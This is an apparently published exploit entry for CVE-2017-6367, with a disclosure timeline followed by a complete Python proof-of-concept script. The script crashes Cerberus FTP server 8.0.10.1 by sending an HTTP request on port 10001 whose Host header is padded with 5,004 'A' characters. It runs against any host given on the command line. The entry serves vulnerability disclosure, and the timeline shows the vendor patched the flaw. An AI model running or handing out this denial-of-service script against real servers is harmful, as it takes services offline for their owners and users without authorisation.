# Exploit Title: Cerberus FTP server a Denial of Service # Date: 2017-03-13 # Exploit Author: Peter Baris # Vendor Homepage: https://www.cerberusftp.com/ # Software Link: [download link if available] # Version: 8.0.10.1 # Tested on: Windows Server 2008 R2 Standard x64, Windows 7 Pro SP1 x64 # CVE : CVE-2017-6367 # 2017-02-27: Vulnerability discovered, Contact to Cerberus Support # 2017-02-27: Reply received, PoC exploit code sent # 2017-02-27: Problematic module identified by the vendor, gSOAP # 2017-03-02: New version 8.0.10.2 released - https://www.cerberusftp.com/products/releasenotes/ # 2017-03-02: gSOAP module update released by the vendor and advisory placed https://www.genivia.com/advisory.html # 2017-03-02: grace period until 13th March # 2017-03-13: Publishing import socket import sys try: host = sys.argv[1] port = 10001 except IndexError: print "[+] Usage %s " % sys.argv[0] sys.exit() exploit = "A"*5004 buffer = "GET /index.html HTTP/1.1\r\n" buffer+= "Host: "+exploit+host+":"+str(port)+"\r\n" buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n" buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\ r\n" buffer+="Accept-Language: en-US,en;q=0.5\r\n" buffer+="Accept-Encoding: gzip, deflate\r\n" buffer+="Referer: "+host+":"+str(port)+"\r\n" buffer+="Connection: keep-alive\r\n" buffer+="Content-Type: application/x-www-form-urlencoded\r\n" buffer+="Content-Length: 5900\r\n\r\n" s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect((host,port)) s.send(buffer) s.close()